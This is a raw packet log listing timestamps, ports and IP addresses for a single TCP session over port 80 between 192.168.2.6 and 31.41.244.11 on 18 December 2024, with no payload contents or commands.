Dec 18, 2024 11:09:12.225990057 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.226036072 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.226047039 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.226089954 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.228044033 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.228095055 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.228138924 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.228180885 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.230119944 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.230160952 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.230320930 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.230357885 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.232068062 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.232110977 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.232187986 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.232228041 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.234015942 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.234061956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.234276056 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.234433889 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.235975981 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.236028910 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.236052036 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.236092091 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.237991095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.238034010 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.238212109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.238251925 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.239794970 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.239836931 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.239959002 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.240001917 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.241684914 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.241734982 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.241884947 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.241925955 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.243561029 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.243603945 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.243643999 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.243683100 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.245405912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.245445967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.245488882 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.245529890 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.247291088 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.247334957 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.247378111 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.247417927 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.249242067 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.249285936 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.249356031 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.249394894 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.251046896 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.251092911 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.251236916 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.251276970 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.252895117 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.252942085 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.252969980 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.253010988 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.254810095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.254854918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.254856110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.254889011 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.256635904 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.256666899 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.256684065 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.256700993 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.258567095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.258610010 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.258654118 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.258687973 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.260339022 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.260382891 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.260423899 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.260461092 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.262187958 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.262231112 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.262279034 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.262316942 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.264117002 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.264153957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.264161110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.264189005 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.266021967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.266083002 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.266087055 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.266115904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.267796993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.267849922 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.267891884 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.267939091 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.269645929 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.269690990 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.269778013 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.269824028 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.271545887 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.271595001 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.271642923 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.271682024 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.273390055 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.273447990 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.273466110 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.273500919 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.275262117 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.275310040 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.275356054 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.275402069 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.277112007 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.277154922 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.277249098 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.277287006 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.279294014 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.279340982 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.279409885 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.279450893 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.280930996 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.280975103 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.280999899 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.281038046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.282732964 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.282788038 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.282840967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.282882929 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.284651995 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.284665108 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.284699917 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.286564112 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.286609888 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.286634922 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.286674976 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297406912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297461987 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297475100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297485113 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297516108 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297524929 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297554970 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297593117 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297719955 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297732115 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297754049 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297771931 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297832966 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297844887 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297857046 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.297867060 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.297890902 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.298006058 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.298018932 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.298031092 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.298043013 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.298070908 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.299791098 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.299819946 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.299834967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.299853086 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.303651094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.303702116 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.303704023 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.303718090 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.303738117 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.303760052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.303791046 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.303831100 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.305175066 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.305222034 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.305286884 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.305327892 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.307054043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.307097912 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.307133913 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.307178974 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.308890104 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.308938980 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.309078932 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.309119940 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.310736895 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.310781956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.310884953 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.310925961 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.312614918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.312665939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.404839993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.404949903 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.405000925 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.405040979 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.405603886 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.405642986 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.405703068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.405740976 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.407109976 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.407152891 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.407166004 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.407201052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.408658028 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.408706903 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.408740997 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.408776999 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.410171032 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.410211086 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.410218954 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.410243988 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.411741972 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.411799908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.411801100 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.411839008 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.413237095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.413285971 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.413371086 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.413408041 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.414800882 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.414849043 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.414892912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.414930105 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.416300058 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.416351080 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.416368008 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.416404009 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.417789936 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.417843103 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.417906046 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.417944908 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.419301987 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.419341087 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.419413090 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.419446945 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.420850039 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.420892000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.420895100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.420931101 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.422446012 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.422488928 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.422540903 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.422575951 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.423713923 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.423758984 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.423810959 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.423852921 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.425122976 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.425165892 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.425231934 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.425275087 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.426511049 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.426563978 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.426614046 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.426652908 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.427864075 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.427908897 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.427958012 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.427997112 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.429209948 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.429258108 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.429301023 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.429333925 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.430543900 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.430588961 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.430663109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.430701971 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.431963921 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.432008028 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.432038069 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.432079077 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.433310032 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.433357000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.433389902 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.433429956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.434487104 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.434531927 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.434585094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.434627056 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.435838938 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.435883999 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.435925961 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.435965061 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.437120914 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.437165022 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.437211990 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.437252998 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.438416958 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.438462019 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.438519001 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.438554049 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.439717054 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.439760923 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.439817905 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.439852953 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.441046000 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.441092968 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.441139936 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.441178083 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.442373991 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.442414999 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.442419052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.442451954 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.443656921 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.443701982 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.443747997 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.443788052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.444905996 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.444952965 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.445014954 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.445050955 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.446209908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.446255922 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.446310997 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.446352959 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.447496891 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.447545052 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.447587967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.447624922 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.448877096 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.448915958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.448978901 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.449016094 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.450161934 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.450208902 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.450248957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.450284958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.451432943 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.451476097 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.451513052 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.451553106 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.452748060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.452789068 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.452830076 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.452871084 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.454024076 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.454067945 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.454133034 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.454173088 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.455311060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.455362082 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.455413103 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.455446005 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.456641912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.456691980 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.456799984 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.456840038 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.457972050 CET	80	49877	31.41.244.11	192.168.2.6
